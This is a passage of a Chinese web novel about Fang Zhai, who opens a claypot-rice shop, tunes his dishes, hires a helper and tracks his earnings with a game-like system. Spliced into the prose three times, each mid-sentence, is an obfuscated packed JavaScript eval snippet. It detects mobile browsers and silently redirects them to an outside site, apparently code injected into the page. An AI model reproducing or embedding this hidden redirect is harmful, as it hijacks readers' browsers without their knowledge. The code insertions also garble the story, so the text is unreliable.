“部门同事凑的，不是花我的钱。”小刘把花篮摆在门口，退后两步看了看，“好看吧？” 房寨看着那个花篮，红色的绸带上写着金字，在夕阳下面闪闪发亮。他又看了看旁边那几个人，阿坤在擦桌子，健身房的同事在搬东西，小刘在摆花篮。 他觉得喉咙有点紧，张了张嘴，说了句“谢谢”。 声音不大，但他们都听到了。 阿坤头都没抬：“谢什么谢，明天多做几份煲仔饭就行。” 小刘笑了：“对，我们可不是白干的，明天要来吃的。” 房寨点了点头，没再说话。 晚上，所有东西都准备好了。 房寨一个人坐在店里，周围很安静，只有冰箱嗡嗡的声音。他看了看墙上的钟，快九点了。 他站起来，把灯关了，锁了门。 走到门口的时候，他回头看了一眼。月光下，“寨哥儿”三个字看不太清楚，但蓝色的格子桌布透过玻璃门能看到一点。 房寨转过身，骑着三轮车往回走。 城中村的巷子里，那几只猫还在。小橘猫长大了不少，肚子圆滚滚的，蹲在墙头舔爪子。看到房寨来了，跳下来，跑到他脚边蹭了蹭。 房寨蹲下来，摸了摸它的头。小橘猫没躲，反而往上顶了顶。 “你倒是长胖了。”房寨说。 小橘猫喵了一声，好像在说“还不是你喂的”。 房寨笑了笑，上楼了。 明天就是开业的日子了。 他不知道明天会有多少人，不知道煲仔饭能不能做好，不知道这个店能不能活下去。 但他知道，他已经走到这一步了。 不管明天怎么样，他都会站在那个炉头前面，把饭做好。 16. 第 16 章 房寨早上六点就到了店里。 不是他勤快，是睡不着。昨晚翻来覆去到两点多才迷迷糊糊闭眼，四点多又醒了，躺到五点半实在躺不住了，干脆起来洗了把脸出门。到店里的时候天刚蒙蒙亮，街上一个人都没有，连早餐店都还没开门。 他用钥匙开了门，卷帘门哗啦一声响，在安静的早晨里显得特别大声。进去之后先把灯打开，白色的日光灯闪了两下亮了，整个屋子白花花的。 今天要做的事很多。煲仔饭的米要提前泡，腊肠腊肉要切片，酱汁要调好。凉面的面条要煮好过凉水拌油，酸梅汤要熬两大锅，炒河粉的牛肉要腌上。 房寨一样一样地做，动作不快不慢，像是在完成一件很重要的事情。 泡米。丝苗米淘了三遍，加水没过米面，泡半小时。泡好的米沥干水分，放着备用。 切腊肠腊肉。腊肠斜刀切成薄片，厚度要均匀，太厚了不入味，太薄了一蒸就缩。腊肉也切成片，肥瘦相间的部分最好，蒸出来油润润的。切了一小盆，盖上保鲜膜放冰箱。 调酱汁。煲仔饭的酱汁是灵魂。生抽、老抽、蚝油、糖、水，比例他试了好几次才定下来。这次多调了一些，装在大号塑料瓶里，挤着用。 酸梅汤最先煮上。乌梅、山楂、冰糖、桂花，加水煮了半小时，关火晾凉。等会儿装进保温桶加冰块。 八点多的时候，阿坤来了。他今天请了假，专门来帮忙。 “寨哥，有什么活？” “你把桌椅擦一遍，地拖一下。” 阿坤撸起袖子开始干。他干活麻利，拖地的时候从里往外拖，不留死角，一看就是在家没少干活的。 九点多，小刘也来了。他带了一挂鞭炮，红彤彤的，摆在门口。 “小刘，这不让放吧？” “我问过了，这条街可以，别放太多就行。”小刘把鞭炮摆好，引线拉出来，“等会儿十一点零八分，准时放，图个吉利。” 房寨对这些讲究不太懂，但既然是小刘的心意，他就不说什么了。 十点的时候，店里已经准备得差不多了。房寨把炉头打开试了试火，蓝色的火焰蹿得老高，锅里倒了一点水，滋啦一声就蒸发了，火够猛。 他把砂锅一个个摆好，一共十二个，是前两天专门去买的。新的砂锅要用淘米水煮过才能用，他已经处理好了。 十点半，门外开始有人了。 不是客人，是群里来帮忙的。几个人手里拿着气球和彩带，说要给店里装饰一下。房寨拦都拦不住，她们就自己动手了。气球吹起来绑在门框上，彩带从天花板上垂下来，花花绿绿的，看着像过生日。 “是不是太花了？”房寨问阿坤。 “开业嘛，就得热闹。”阿坤看了一眼，“挺好的。” 十点五十，门外已经站了不少人。房寨透过玻璃门往外看，心里有点慌。他没想到真的会来这么多人，群里报名的就有三四十个，加上临时来的，怕是五六十都不止。 他看了一眼冰箱里的食材，腊味煲仔饭的材料大概能做三十份，炒河粉和凉面多一些，酸梅汤两大桶应该够。 不够就早点卖完，总比剩了好。 十一点零八分，小刘点了鞭炮。 噼里啪啦的声音震得耳朵嗡嗡响，红色的纸屑飞得到处都是，烟雾弥漫了半条街。路过的行人停下来看，旁边的店家探出头来张望。 房寨站在门口，被鞭炮声炸得有点懵。 阿坤推了他一下：“寨哥，说两句。” “说什么？” “随便说两句。” 房寨站在门口，看着面前这些人。有熟面孔，有生面孔，有群里的，有路过的。他们有的举着手机在拍，有的在笑，有的在喊“寨哥儿开业大吉”。 他张了张嘴，想说谢谢，想说今天全场八折，想说酸梅汤免费。但这些话到了嘴边，忽然觉得都不太对。 “饭做好了，进来吃吧。”他说。 就这么一句。 然后他转身进了厨房，把炉头打开。 火苗蹿起来的时候，外面的人开始往里走了。 第一个进店的是个老熟客，房寨记得她，是那个被裁员后吃了他的葱油拌面说“一切都会好起来的”姑娘。她今天穿了一件新裙子，头发也剪短了，看起来精神了很多。 “老板，恭喜开业。”她笑着说，“我要一份腊味煲仔饭。” “好，稍等。” 房寨在砂锅里刷了一层油，舀了一碗泡好的米铺平，加水，水量刚好没过米面。放在炉头上，大火烧开。 砂锅里的水很快就沸腾了，米粒在锅里翻滚。房寨看着火候，等水收到差不多的时候，把切好的腊肠腊肉铺在米饭上，盖上盖子，转小火。 他侧耳听了听锅里的声音。水干了之后会有细微的滋滋声，那是米饭开始结锅巴的信号。这时候沿着锅盖边缘淋一圈油，油顺着锅壁流下去，在高温下把锅巴炸得金黄酥脆。 整个过程需要十二到十五分钟，全靠经验判断，不能开盖看，一看就跑了热气。 趁着煲仔饭在灶上闷着，房寨开始做其他人的订单。炒河粉、凉面、酸梅汤，一样一样地出，手没停过。 阿坤在外面帮忙点单端菜收钱，小刘在门口招呼客人。三个人忙得脚不沾地，但店里的秩序还行，没有乱。 第一份煲仔饭出锅的时候，房寨自己先看了一眼。 揭开盖子，热气猛地往上冲，腊味的香气浓得化不开。米饭表面铺满了腊肠腊肉，油脂渗进了米饭里，边缘的锅巴焦黄发亮。他打了个鸡蛋在中间，盖上盖子闷了一分钟，让蛋白凝固蛋黄还是溏心的。最后淋上一圈酱汁，撒了一把葱花。 红色的腊肠，白色的米饭，绿色的葱花，黄色的溏心蛋，褐色的酱汁。颜色搭配得刚刚好，看着就有食欲。 阿坤端过去放在桌上，那个姑娘拿起手机拍了张照，然后拿起勺子，从锅边铲了一块锅巴上来，锅巴在勺子里发出清脆的碎裂声。 她咬了一口，嚼了嚼。 “好脆。”她说，“这个锅巴好好吃。” 她又舀了一勺米饭，裹着腊肠和酱汁，送进嘴里。嚼了两下，眼睛眯起来了，是那种很满足的表情。 “老板，这个煲仔饭我要给一百分。” 【叮！食客评价已录入。满意度：98分。】 房寨松了一口气。 他之前最担心的就是煲仔饭。这个菜他练了好几天，但每次做的味道都不太一样，火候控制得不够稳定。今天这次算是发挥得最好的。 店里的人越来越多，十二个砂锅根本不够用。有人等不及，改点炒河粉或者凉面。有人专门冲着煲仔饭来的，愿意等，坐在门口的小板凳上刷手机。 房寨在厨房里忙得满头大汗。十二个砂锅轮着用，这边出锅那边上灶，炉头的火就没关过。他的T恤湿透了贴在身上，汗水顺着脖子往下淌，但他顾不上擦。 阿坤进来端菜的时候看到他这样，从冰箱里拿了一瓶水放在灶台边上。 “寨哥，喝口水。” 房寨拧开盖子灌了两口，冰水下去，整个人打了个激灵。 “外面还有多少人？” “我数了一下，还在排队的二十多个。”阿坤说，“食材够吗？” 房寨看了一眼冰箱。腊味煲仔饭的料还有七八份，炒河粉和凉面还够，酸梅汤还剩大半桶。 “够。” 他又把砂锅放上灶头，开始做下一份。 中午那波客流一直持续到两点多才慢慢减少。最后一份煲仔饭出锅的时候，已经快两点半了。房寨把灶火关了，靠在墙上喘了口气。 阿坤端着一碗凉面进来，放在他面前。 “寨哥，你先吃点东西，你都忙了一中午了。” 房寨看了看那碗凉面，确实饿了。他坐下来，拌了拌，大口大口地吃。面条有点坨了，酱汁也放多了，咸。但他吃得很快，三两口就扒完了。 “好吃吗？”阿坤问。 “不好吃，坨了。” “那你还吃这么快？” “饿了啊。” 阿坤笑了，房寨也笑了。 下午的客流比中午少了很多，但陆陆续续一直有人来。有的是看了群里的消息专门来的，有的是路过闻到香味进来的，有的是中午没吃上晚上来补的。 房寨趁着人少的时候把账算了算。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511085|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>中午那波大概接待了五六十个人，下午到现在又来了二十多个。毛收入一千三百多，刨掉食材成本，净赚七百左右。 加上晚上的话，今天破千应该没问题。 开店第一天，净赚一千。 房寨看着这个数字，觉得不太真实。他摆了快两个月的摊，最好的一天也就赚了五百。开店第一天就翻倍了。 但他知道，这是因为开业有活动，加上群里的人捧场。等热度过去了，生意肯定会回落。能稳定在一天赚三四百，他就满足了。 晚上七点多，店里来了一个意想不到的人。 王经理。 房寨正在厨房里炒河粉，听到阿坤喊了一声“寨哥，有人找”，抬头一看，王经理站在门口，手里提着一个果篮。 “王经理？你怎么来了？” “我来看看你。”王经理把果篮放在柜台上，“听说你开店了，过来捧个场。生意怎么样？” “还行，今天人挺多的。” “那就好。”王经理在店里转了一圈，看了看墙上的菜单，看了看桌上的桌布，又看了看厨房里的炉头，“收拾得挺干净的。” “王经理你吃了吗？我给你做一份。” “吃过了，下次吧。”王经理走到门口，回头看了一眼，“好好干，别给咱们公司丢人。” 房寨笑了：“我早就不是公司的人了。” “在我这儿你永远是。”王经理摆了摆手，走了。 房寨站在门口，看着王经理的背影消失在街角。果篮放在柜台上，里面有苹果、橙子、火龙果，红红绿绿的，很鲜艳。 阿坤凑过来看了看果篮：“你前领导？” “嗯。” “人不错啊，还专门来送果篮。” “是挺不错的。” 房寨把果篮收好，回到厨房继续干活。 晚上八点多，最后一波客人走了。店里安静下来，只有冰箱嗡嗡的声音。 房寨把今天的收入又数了一遍，毛收入一千五百多，净赚八百多。比中午预估的少了一些，因为晚上人没那么多。 但他已经很满意了。 他把今天的账记在本子上，在最后写了一行字：“开店第一天，净赚820。煲仔饭反响好，明天多备一些。” 合上本子，他开始收拾厨房。砂锅一个个洗干净，泡在水里。炉头擦干净，灶台抹了一遍。地面扫了拖了，桌椅摆整齐。 关门的时候已经快九点半了。 他站在门口，看着“寨哥儿”三个字在路灯下泛着暖黄色的光。旁边那家店已经关了，整条街暗了下来，只有他的灯还亮着。 房寨锁了门，骑着三轮车往回走。 城中村的巷子里，那几只猫在等他。小橘猫现在不蹲墙头了，直接蹲在他门口，看到他来了，喵喵叫着跑过来。 房寨从口袋里掏出火腿肠，掰碎了丢在地上。 “今天生意不错。”他跟猫说。 猫听不懂，低头吃火腿肠。 “明天还要更早去，要备很多料。” 猫吃完了，舔了舔嘴，蹲在他脚边不走了。 房寨蹲下来，摸了摸它的头。猫的毛很软，体温比人高，摸上去暖暖的。 “要不你跟我进去睡？” 猫看了他一眼，站起来，走到墙角蹲下了。 “行吧，你习惯在外面就在外面。” 房寨上了楼，开门，开灯。灯今天没闪，很稳。 他洗了个澡，躺在床上，把手机打开。 群里有人在发今天店里的照片。有煲仔饭的特写，有酸梅汤的杯子，有门口的气球和彩带，还有一张他炒菜时的背影。照片里的他站在炉头前面，手里拿着锅铲，油烟从锅里冒出来，把他整个人罩在雾气里。 照片下面配了一行字：“认真做事的男人最帅。” 房寨看着这张照片，觉得那个背影不太像自己。太瘦了，也太累了。但那个姿势他很熟悉，那是他每天都在做的动作，锅铲翻动，身体微微前倾，眼睛盯着锅里的菜。 他不知道别人怎么看这张照片，但他自己看了，觉得挺踏实的。 至少，他在做一件自己能做好的事。 17. 第 17 章 开店之后的第三天，房寨遇到了第一个问题。 煲仔饭的锅巴不稳定。 有的客人爱吃焦脆的，有的客人爱吃软一点的，有的客人要厚锅巴，有的客人只要薄薄一层。他没办法同时满足所有人，只能做一个中间版本，结果两边都不讨好。 周三中午来了个大叔，五十多岁，戴着一副老花镜，点了一份腊味煲仔饭。房寨按照标准流程做了，大叔吃到一半把他叫过去。 “小伙子，你这个锅巴不行啊。” 房寨走过去一看，大叔的砂锅里还剩半圈锅巴，颜色偏浅，不够焦。 “太软了。”大叔用勺子敲了敲锅巴，“煲仔饭的灵魂就是锅巴，锅巴做不好，整个饭就废了。” 房寨知道大叔说得对，但他也有苦衷。火候大了怕糊，火候小了怕软，每锅饭的火候都不一样，很难控制。 “我给你重新做一份。” “不用重新做，你听我说。”大叔放下勺子，指了指砂锅，“你煲的时候，水收干之后，沿着锅边淋油，这个你做了。但你知道什么时候淋油最好吗？” 房寨摇了摇头。 “听声音。”大叔侧了侧耳朵，“水干了之后，锅里有滋滋声，那是米饭在结壳。滋滋声最大的时候淋油，油顺着锅壁流下去，锅巴才能炸得脆。你淋早了，油还没到底就蒸发了。淋晚了，锅巴已经糊了。” 房寨愣住了。 这些道理他知道，系统食谱里也写过，但从来没有一个人像这样掰开揉碎了跟他讲。系统给他的知识是死的，大叔讲的是活的。 “你是做厨师的？”房寨问。 “以前做过。”大叔笑了笑，“二十年前的事了，在广东做了十几年煲仔饭，后来不做了。” 房寨想留大叔多聊一会儿，但大叔吃完饭就走了，走的时候说了一句“下次来检查你的锅巴”。 那天晚上，房寨按照大叔说的方法试了好几锅。听声音，找准滋滋声最大的那个瞬间淋油。第一锅淋早了，锅巴太薄。第二锅淋晚了，底糊了。第三锅找到了那个点，锅巴金黄酥脆，厚度刚好，用勺子一铲整片起来，嚼在嘴里嘎嘣响。 他把这锅饭端给阿坤尝。阿坤吃了一口，眼睛亮了。 “就是这个！” 房寨自己也尝了一口，确实不一样了。之前的锅巴要么太硬要么太软，这次的锅巴是脆的，但不是那种硌牙的脆，是咬下去之后在嘴里化开的脆。 他把这个火候点记下来，后面几锅都按这个标准做。连续五锅，每锅的锅巴都差不多，稳定性比以前好多了。 开店第一周，房寨每天都在调整。 菜单上的东西不多，但每一样都有讲究。凉面的酱汁他改了两回，第一回有人嫌太酸，第二回有人嫌太甜，第三回做了两个版本，一个正常酸度，一个少酸，让客人自己选。炒河粉的牛肉腌法他试了三种，最后定下来的是加了一点啤酒的版本，牛肉更嫩，还有一股淡淡的麦香。酸梅汤的配方也微调了，桂花减了量，冰糖加了一点，甜味更突出。 最麻烦的还是煲仔饭。 锅巴的问题解决了，但新的问题又来了。有人嫌米饭太硬，有人嫌太软。有人要加窝蛋，有人不要。有人要多放腊肠，有人要多放腊肉。众口难调，房寨每天都要应付各种各样的要求。 他开始在菜单上加备注：米饭软硬可选，锅巴焦软可选，加窝蛋加两元。这样一来，点单的时候多问几句，但客人的满意度反而提高了。 开店第十天，房寨算了一下账。 十天总营业额七千多，净赚四千左右。平均一天四百块，和摆摊最好的时候差不多，但比摆摊稳定多了。摆摊的时候有时候一天赚五百，有时候一百，起伏很大。开店之后每天的收入都比较平均，没有特别高也没有特别低。 他开始觉得，这个店能活下去了。 开店第二周，房寨遇到了第二个问题。 人手不够。 以前摆摊的时候，他一个人能应付。现在开店了，要备料、要炒菜、要煮饭、要收银、要收拾桌子、要洗碗，一个人根本忙不过来。阿坤白天要上班，只能晚上来帮忙。小刘偶尔来，但他也有自己的工作。 房寨每天早上七点到店里，晚上九点多关门，回去还要备第二天的料，经常搞到十一二点才能躺下。连续十几天这样，身体开始出问题了。 先是手。右手手腕疼，拿锅铲的时候使不上劲。颠勺的时候尤其明显，锅铲一翻，手腕像针扎一样。他买了膏药贴上，能顶一会儿，贴完还是疼。 然后是腰。站久了腰酸，弯腰洗碗的时候最难受，洗完直不起来，要扶着水池缓一缓。 最后是胃。吃饭不规律，有时候忙起来一天只吃一顿，饿过了就不想吃了。胃开始隐隐作痛，不是很严重，但一直不舒服。 阿坤看在眼里，跟他说了好几次：“寨哥，你得请个人了。” 房寨每次都说不急，再等等。他不是不想请，是请不起。一个帮工一个月至少要三千块，他现在一天赚四百，一个月一万二，去掉房租食材，再扣掉三千，就没多少了。 但阿坤说得对，他一个人撑不了多久。 开店第十五天，房寨在群里发了一条消息。 “有没有人想兼职？晚上六点到九点，在店里帮忙，一小时十五块。” 发出去不到十分钟，就有三个人报名。 第一个是个大学生，大二，晚上没课，住得不远。第二个是个刚退休的阿姨，说在家闲得慌，想找点事做。第三个是个年轻妈妈，孩子上幼儿园了，晚上有空。 房寨选了那个大学生，叫小赵，学的是酒店管理，正好专业对口。 小赵来上班的第一天，房寨教他怎么点单、怎么收银、怎么收拾桌子。小赵学得很快，一个晚上就上手了。 有了小赵帮忙，房寨轻松了很多。他可以专心在厨房里做菜，不用再跑来跑去。手腕的疼痛慢慢减轻了，腰也好了一些，至少能直起来了。 开店第二十天，房寨收到了一条系统消息。 【店铺经营系统部分功能已激活。】 【当前解锁：成本核算、菜单优化。】 【建议：添加至少三种新菜品，以提升店铺竞争力。】 房寨点开成本核算，里面自动统计了每种菜品的成本和利润。煲仔饭成本八块五，卖十八，毛利九块五。炒河粉成本六块，卖十二， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511086|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毛利六块。凉面成本三块五，卖八块，毛利四块五。酸梅汤成本八毛，卖三块，毛利两块二。 毛利最高的是煲仔饭，最低的是酸梅汤。但酸梅汤销量大，薄利多销，总的利润贡献也不小。 菜单优化功能给出了一些建议：增加一款汤品，增加一款青菜，增加一款甜品。 汤品。 房寨想到了排骨汤。简单，好做，成本不高。可以早上炖一锅，卖一天。 青菜。 白灼菜心或者蚝油生菜，简单快手，利润高。 甜品。 这个他拿不准。双皮奶？杨枝甘露？都太复杂了。他想到了一个更简单的——绿豆汤。夏天喝绿豆汤，解暑又解渴，和酸梅汤搭配着卖。 房寨决定先做排骨汤和蚝油生菜。这两个最简单，不费什么功夫。 第二天，他早起了两个小时，去菜市场买了排骨和冬瓜。排骨焯水，加姜片料酒，炖了一个半小时，最后放冬瓜，再炖二十分钟。汤是清亮的，排骨炖得脱骨，冬瓜入口即化。 他在菜单上加了一行字：冬瓜排骨汤，6元。 蚝油生菜更简单。生菜焯水十秒钟，捞出来装盘，蚝油加一点糖和水调开，浇在上面。成本不到两块，卖五块。 第一个点排骨汤的是个年轻妈妈，带着孩子来的。孩子四岁多，吃饭不老实，跑来跑去的。年轻妈妈点了一份煲仔饭，加了一份汤，把汤里的冬瓜用勺子压碎了拌在饭里喂孩子。 “老板，你这个汤没放味精吧？” “没放，就排骨和冬瓜，加点盐。” “那就好，小孩子不能吃味精。”年轻妈妈喂了孩子一口，孩子嚼了嚼，张嘴要第二口。 她笑了，抬起头看着房寨：“谢谢你啊老板，我家孩子挑食，难得有他爱吃的东西。” 房寨看着那个小孩大口大口地吃饭，心里想，这就是他做这些东西的意义。 不是为了赚钱，虽然赚钱也很重要。 是为了看到这样的画面。一个妈妈不用追着孩子喂饭，一个孩子愿意好好吃一顿饭，一碗汤能让一个人觉得舒服。 这些画面很小，很小很小，小到说出来都觉得矫情。 但房寨觉得，这些小事加起来，就是大事。 开店第二十五天，房寨算了算这个月的账。 从开业到现在，二十五天，总营业额一万八千多，净赚一万出头。 加上系统奖励的房贷减免，这个月一共还了两万多的房贷。 他把这个数字写在记账本的第一页，用红笔画了个圈。 旁边写了一行字：“下个月目标：净赚一万五。” 虽然他知道不一定能实现，但总要定个目标。 定完目标，他开始想下个月要做什么。 新菜品还要继续加，绿豆汤可以上了。煲仔饭的口味也要增加，香菇滑鸡和排骨的都可以试试。店里可以加几张桌子，现在四张不够用，高峰期要排队。 每一样都要钱。 但至少，他现在有收入了。 不像以前那样，每个月工资刚到账就转走，连顿饭都吃不起。 房寨把本子合上，去厨房备料了。 18. 第 18 章 房寨决定做绿豆汤，不是因为系统建议，是因为天太热了。 七月中旬的那个礼拜，气温飙到了三十八度。店里的空调是二手的，制冷效果一般，开着跟没开差不多。客人吃着吃着就出汗，出了汗就不想吃了，不想吃了就走了。 房寨想，得有个能让人凉下来的东西。 酸梅汤已经有了，但酸梅汤是酸的，有的人不爱喝。绿豆汤不一样，绿豆汤是甜的，温润的，谁都喝得惯。 他试了三次才找到合适的做法。 第一次煮得太稠了，绿豆全煮烂了，汤成了绿豆糊，喝起来像在喝粥。第二次煮得不够，绿豆还是硬的，汤是清的，没味道。第三次他用了中火，煮到绿豆刚刚开花就关火，加冰糖，晾凉了放冰箱。 出来的效果刚好。汤是浑浊的淡绿色，绿豆沉在底下，一粒粒的开着花，吃起来软糯但不烂。甜度也刚好，不会腻，喝完嘴里是清爽的。 他定价四块钱一碗。成本大概一块出头，利润还行。 绿豆汤上架的第一天，卖得比酸梅汤还好。 第一个买的是个环卫工人，五十多岁，穿着一身橘红色的工作服，脸上全是汗。他站在门口看了一会儿菜单，犹豫了一下，问绿豆汤多少钱。 “四块。” “来一碗。” 房寨舀了一碗递给他。环卫工人接过去，站在门口一口气喝完，把碗还回来的时候，脸上的表情像是活过来了。 “好喝。”他说，“再来一碗打包，我带回去给我老婆尝尝。” 房寨又舀了一碗，用塑料袋装好，递过去。 “这碗算我请你的。” 环卫工人愣了一下，然后笑了，露出缺了一颗的门牙。 “谢谢你啊小伙子。” 他走了之后，房寨站在门口看了一会儿。外面的太阳很毒，地面晒得发白，热浪从马路上蒸起来，把远处的东西都扭曲了。街上没什么人，连狗都躲在树荫下伸舌头。 这么热的天，那些要在外面跑的人，是真的辛苦。 绿豆汤的销量一天比一天好。到第五天的时候，一天能卖六七十碗，比酸梅汤还多。房寨每天要煮三大锅，从早上煮到中午，锅就没断过火。 有人专门冲着绿豆汤来的。有个老太太，每天都来，一次买两碗，一碗现场喝，一碗带回去给老伴。她说她老伴中风了，走不了路，在家躺着，天热吃不下东西，就喝得下这个绿豆汤。 “你煮得好，不甜不淡，他喝着顺口。”老太太说。 房寨每次看到老太太来，都会多舀半勺，把碗装得满满的。老太太也不说什么，就是笑笑。 绿豆汤出了名，店里的人流量又涨了一截。有的人本来只是路过买碗绿豆汤，闻到煲仔饭的香味就走不动了，坐下来又点了一份饭。房寨发现绿豆汤不但自己能赚钱，还能带动其他菜品的销量。 他想，这就是系统说的“产品组合”吧。 开店满一个月那天，房寨把账算了一下。 总营业额两万三，净赚一万二出头。比上个月摆摊翻了一倍还多。 他把这个数字写在本子上，看了好一会儿。 一个月前，他还在夜市摆摊，每天推着那个咯吱咯吱响的推车，被城管赶来赶去。一个月后，他坐在自己的店里，面前摆着账本，上面写着一万二。 变化太大了，大到他觉得不太真实。 但手腕上的疼是真的，腰上的酸是真的，每天早起晚睡的黑眼圈也是真的。 他知道这一万二是怎么来的。是每天早上七点到店、晚上九点关门、一天站十几个小时换来的。是手指头被砂锅烫了好几个泡换来的。是累到回家倒头就睡、连刷手机的力气都没有换来的。 不容易。 但值。 开店第五周，房寨遇到了一个新问题。 有人在网上发了帖子，说他的店是“网红店”，说排队的人都是托，说东西一般般，全靠营销。 房寨看到这个帖子的时候，正在厨房里洗砂锅。小赵把手机拿给他看，他看完没说什么，把手机还回去，继续洗锅。 他不太在意这些。他卖的是饭，不是口碑。饭好吃，客人自然会来。饭不好吃，说再多也没用。 但阿坤在意。 阿坤在帖子下面跟人吵起来了，吵了几十个来回，最后被管理员禁言了。 “寨哥，你都不生气的吗？”阿坤问他。 “生气有用吗？” “没用，但我就是咽不下这口气。” “那你帮我个忙。”房寨说，“帮我把今天晚上的排骨汤炖了，比吵架有用。” 阿坤愣了一下，然后笑了，系上围裙去炖汤了。 那个帖子后来慢慢沉了，没什么人看了。但店里的人流量确实受到了一点影响，连续几天都比之前少了大概一成。 房寨没太担心。他知道这种东西有起有落，不可能天天爆满。只要他的东西做得好，客人迟早会回来。 果然，过了一个多礼拜，生意又恢复到了之前的水平。 开店第六周，房寨做了一件他一直想做的事。 他把菜单上的价格调了一下。 煲仔饭从十八涨到二十，炒河粉从十二涨到十三，凉面从八块涨到九块。涨幅不大，每样涨一两块钱。酸梅汤和绿豆汤没涨，还是三块和四块。 涨价之前他在群里说了一声，解释了一下原因：房租涨了，食材也涨了，不涨价扛不住。 群里的人大多表示理解。有人说“涨一两块无所谓，好吃就行”。有人说“早就该涨了，你卖得太便宜了”。也有人说“以后少去几次”，但这种人很少。 涨价之后的第一周，生意确实掉了一点。有些人接受不了涨价，不来了。但大部分人还在，还有新客人进来。 一周之后，营业额跟涨价前差不多，但净赚多了一些。因为单价高了，成本没变，利润自然就上去了。 房寨把这个月的目标从一万五调到了一万八。 开店第二个月的第一天，店里来了一个特殊的客人。 是个四十多岁的女人，穿着打扮很普通，但气质不一样，说话慢条斯理的，一看就不是普通客人。 她点了一份腊味煲仔饭，一碗绿豆汤，慢慢吃完，然后走到厨房门口，跟房寨说想聊几句。 “你是老板？”她问。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511087|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “是。” “我姓陈，做餐饮咨询的。”她递了一张名片过来，“我观察你的店有一段时间了，你的东西做得不错，但店面的运营还有很多可以提升的地方。如果你有兴趣，我可以免费给你做一个诊断。” 房寨接过名片看了看，上面写着一家咨询公司的名字和她的职位。 他不太信这种事。免费的东西往往最贵。 但陈女士没有推销什么，只是让他考虑一下，然后就走了。 阿坤说：“你该让她看看，万一真能帮上忙呢？” 房寨把名片夹在了记账本里，没丢，也没打电话。 开店第二个月的第三周，房寨又做了一道新菜。 香菇滑鸡煲仔饭。 这是客人催了好几次的。腊味煲仔饭虽然好吃，但有人不吃腊味，有人嫌太油腻，想要一个清淡一点的口味。 房寨试了七八次才把配方定下来。鸡腿肉去骨切块，用酱油、料酒、姜片、生粉腌半小时。香菇泡发切片。煲仔饭的米煮到收水的时候，把腌好的鸡肉和香菇铺上去，淋一点泡香菇的水，盖上盖子小火煲。 出锅的时候鸡肉是嫩的，香菇是滑的，汁水渗进了米饭里，比腊味煲仔饭更鲜，但少了腊味那种油润感。 第一个吃到的客人是个二十出头的姑娘，她说她不吃肥肉，腊味煲仔饭里的腊肠太油了，一直没敢点。香菇滑鸡刚刚好，清淡但有味道。 “老板，这个我要给满分。”她说。 【叮！食客评价已录入。满意度：97分。新品解锁奖励：厨艺经验+50。】 香菇滑鸡上架之后，煲仔饭的销量又涨了一截。原来不吃腊味的那批客人现在有东西吃了，整体客流更稳定了。 房寨开始在菜单上加第三个煲仔饭口味——排骨。 排骨的做法和香菇滑鸡类似，但要加豆豉和蒜末，味道更重一些。他试了几次，排骨要么不够烂，要么太烂了脱骨。最后找到窍门：排骨要先焯水去腥，再用压力锅压十分钟，然后再放到煲仔饭里煲。这样做出来的排骨软烂入味，骨头一抽就出来，肉在嘴里就化。 三个口味，三种风格。腊味的浓郁，滑鸡的清淡，排骨的咸香。不同口味的人都能找到自己喜欢的。 房寨觉得，菜单做到这个程度，暂时够用了。 开店第二个月的月底，房寨算了算账。 这个月的总营业额比上个月多了将近五千块，净赚一万七千多。离他定的一万八的目标差了不到一千块。 虽然没达到，但他已经很满意了。 他把这个月的收入情况发到了群里，不是为了炫耀，是想让那些从一开始就支持他的人知道，他们的支持没有白费。 群里的人比他还高兴。 “寨哥儿牛逼！” “从摆摊到开店，两个月，太励志了。” “我就说寨哥儿能行！” 房寨看着这些消息，想起两个月前的自己。那时候他还在公司写代码，每天吃蛋炒饭，每天晚上躺在床上盯着灭掉的灯泡发呆。 他从来没想过自己会开店。 也从来没想过自己会这么喜欢开店。 19. 第 19 章 小赵干满一个月的时候，找房寨谈了件事。 他想要转全职。 “老板，我下学期课少，周一到周三全天没课，周四到周六上午也没课，就周六下午和周日上午有课。”小赵掰着手指头给他算算，“我能从中午十一点干到晚上八点，中间不休息，你按全职给我算工资就行。” 房寨算了算，小赵现在兼职，一天干三个小时，一小时十五块，一天四十五，一个月一千三百多。转全职的话，一天干八九个小时，按一小时十五块算，一个月要四千多。 他有点犹豫。 不是小赵不值这个钱，是他怕自己付不起，毕竟他也不是什么大老板。 小赵看他在犹豫，又说了一句：“老板，我不要那么多，一个月三千就行，包吃。” 